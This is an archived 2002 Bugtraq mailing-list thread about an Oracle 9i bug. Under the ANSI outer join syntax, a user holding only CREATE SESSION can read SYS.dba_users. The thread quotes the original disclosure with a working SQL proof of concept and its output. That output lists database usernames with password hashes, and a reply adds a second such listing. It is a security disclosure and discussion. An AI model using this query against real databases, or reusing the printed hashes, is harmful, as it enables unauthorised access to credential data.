

Re: ansi outer join syntax in Oracle allows access to any data

Source: <http://www.derkeiler.com/Mailing-Lists/securityfocus/bugtraq/2002-04/0215.html>

From: Pete Finnigan (pete@peterfinnigan.demon.co.uk)

Date: 04/16/02

Date: Tue, 16 Apr 2002 22:25:13 +0100

To: BUGTRAQ@securityfocus.com

From: Pete Finnigan <pete@peterfinnigan.demon.co.uk>

Hi Charles

The point is that I can see the dba_users view owned by SYS as a user with only CREATE SESSION privilege. This is only possible because of the bug in the ANSI outer join syntax. This bug allows access to any table without any granted privileges to any user!

The example you show below doesn't show which user you are logged in as or what privileges that user has. I assume its a user that is either a DBA or has select privileges on the catalog or SELECT ANY TABLE or select explicitly on that view.

Try the exact SQL i showed and check for yourself that it doesn't work in 8.1.6. but will work in 9.0.1

cheers

Pete

In article <5.1.0.14.0.20020416162924.00a603d8@127.0.0.1>, Charles J

Wertz <wertzcj@buffnet.net> writes

>You don't need 9i or ansi syntax.

>

>Connected to:

>Oracle8i Enterprise Edition Release 8.1.6.0.0 – Production

>With the Partitioning option

>JServer Release 8.1.6.0.0 – Production

>

>SQL> set serveroutput on size 1000000

>SQL> sta users

>SQL> select username, user_id, password from sys.dba_users

> 2 /

>

>.....

>USERNAME USER_ID PASSWORD

Re: ansi outer join syntax in Oracle allows access to any data

SecurityFocus Bugtraq: Re: ansi outer join syntax in Oracle allows access to any data

>-----

>GABRMJ21 206 A08F7F24DCD35845
>ABDUSM62 204 25F6BFBE9888CB23
>CLARVL18 205 E45523E8504F938E
>SYMEJM94 195 BF1A81C928566EEE
>COSAL75 118 4EDA8C950487B16F
>CONNTS37 117 B3EB3D464F64E317
>ANASD51 111 AC5DE6711420E91E
>FEDEJB07 224 5111DAC3006F6D81
>DELLJM28 223 FC707A68849F1C3F
>CARTKR33 222 2002A82D0DB2DB19
>BRANLD12 221 9857842415FF35B5
>...
>
>*I haven't checked this out.*
>*I take it these are encrypted passwords ??*
>
>cjw
>
>*At 04:24 PM 4/16/2002 +0100, Pete Finnigan wrote:*
>>*Hi all*
>>
>>*I thought this list may be interested in this issue, apologies if its*
>>*known here already.*
>>
>>*Oracle 9i includes the new ANSI outer join syntax. Oracle still supports*
>>*the old syntax but in the new syntax there is a serious security issue*
>>*that allows any user to view any data.*
>>
>>*here is an example:*
>>
>>*SQL*Plus: Release 9.0.1.0.1 – Production on Tue Apr 16 15:16:45 2*
>>
>>*(c) Copyright 2001 Oracle Corporation. All rights reserved.*
>>
>>
>>*Connected to:*
>>*Oracle9i Enterprise Edition Release 9.0.1.1.1 – Production*
>>*With the Partitioning option*
>>*JServer Release 9.0.1.1.1 – Production*
>>
>>*SQL> connect / as sysdba*
>>*Connected.*
>>*SQL> CREATE USER us1 IDENTIFIED BY us11;*
>>
>>*User created.*
>>
>>*SQL> Grant Create Session to us1;*
>>
>>*Grant succeeded.*

SecurityFocus Bugtraq: Re: ansi outer join syntax in Oracle allows access to any data

```
>>
>>SQL> connect us1/us11;
>>Connected.
>>SQL> select a.username, a.password
>> 2 from sys.dba_users a left outer join sys.dba_users b on
>> 3 b.username = a.username
>> 4 ;
>>
>>USERNAME PASSWORD
>>-----
>>SYS D4C5016086B2DC6A
>>SYSTEM D4DF7931AB130E37
>>DBSNMP E066D214D5421CCC
>>AURORA$JIS$UTILITY$ INVALID_ENCRYPTED_PASSWORD
>>OSE$HTTP$ADMIN INVALID_ENCRYPTED_PASSWORD
>>AURORA$ORB$UNAUTHENTICATED INVALID_ENCRYPTED_PASSWORD
>>SCOTT F894844C34402B67
>>US1 491AB9AB94D8A9EF
>>OUTLN 4A3BA55E08595C81
>>ORDSYS 7EFA02EC7EA6B86F
>>OLAPSVR AF52CFD036E8F425
>>
>>USERNAME PASSWORD
>>-----
>>OLAPSYS 3FB8EF9DB538647C
>>ORDPLUGINS 88A2B2C183431F00
>>MDSYS 72979A94BAD2AF80
>>CTXSYS 71E687F036AD56E5
>>WKSYS 69ED49EE1851900D
>>OLAPDBA 1AF71599EDACFB00
>>QS_CBADM 7C632AFB71F8D305
>>QS_ADM 991CDDAD5C5C32CA
>>QS 8B09C6075BDF2DC4
>>QS_WS 24ACF617DD7D8F2F
>>HR 6399F3B38EDF3288
>>
>>USERNAME PASSWORD
>>-----
>>OE 9C30855E7E0CB02D
>>PM 72E382A52E89575A
>>SH 9793B3777CD3BD1A
>>QS_ES E6A6FA4BB042E3C2
>>QS_OS FF09F3EB14AE5C26
>>RMAN E7B5D92911C831E1
>>QS_CB CF9CFACF5AE24964
>>QS_CS 91A00922D8C0F146
>>
>>30 rows selected.
>>
>>SQL>
>>
```

SecurityFocus Bugtraq: Re: ansi outer join syntax in Oracle allows access to any data

>>This shows that a user with the barest of privileges, i.e. CREATE
>>SESSION can actually see data in the data dictionary that should not be
>>seen. In this example we can select the list of usernames and their
>>hashes.

>>
>>I wanted to bring this issue to the security community as its doing the
>>rounds on the oracle server newsgroup. Oracle are already aware of this
>>as there is a bug to cover it number 2121935. Its marked as fixed in 9.2
>>and will not be back ported to earlier versions of Oracle. I could not
>>find this on the oracle security alerts site or on the bug traq database
>>so here it is.

>>
>>Best regards

>>
>>Pete Finnigan
>>www.pentest-limited.com

>>
>>--
>>This email and any files transmitted with it are confidential and
>>intended solely for the use of the individual or entity to whom they
>>are addressed. If you have received this email in error please notify
>>the system manager at admin@pentest-limited.com

>>--
>>Pete Finnigan
>>IT Security Consultant
>>PenTest Limited

>>
>>Office 01565 830 990
>>Fax 01565 830 889
>>Mobile 07974 087 885
>>
>>pete.finnigan@pentest-limited.com

>>
>>www.pentest-limited.com
>

--
This email and any files transmitted with it are confidential and
intended solely for the use of the individual or entity to whom they
are addressed. If you have received this email in error please notify
the system manager at admin@pentest-limited.com

--
Pete Finnigan
IT Security Consultant
PenTest Limited

Office 01565 830 990 Fax 01565 830 889 Mobile 07974 087 885

pete.finnigan@pentest-limited.com

www.pentest-limited.com

SecurityFocus Bugtraq: Re: ansi outer join syntax in Oracle allows access to any data

- **Previous message:** H. Peter Anvin: "Mailman/Pipermail private mailing list/local user vulnerability"
- **In reply to:** Charles J Wertz: "Re: ansi outer join syntax in Oracle allows access to any data"
- **Next in thread:** Greg Williamson: "Re: ansi outer join syntax in Oracle allows access to any data"
- **Messages sorted by:** [date] [thread] [subject] [author] [attachment]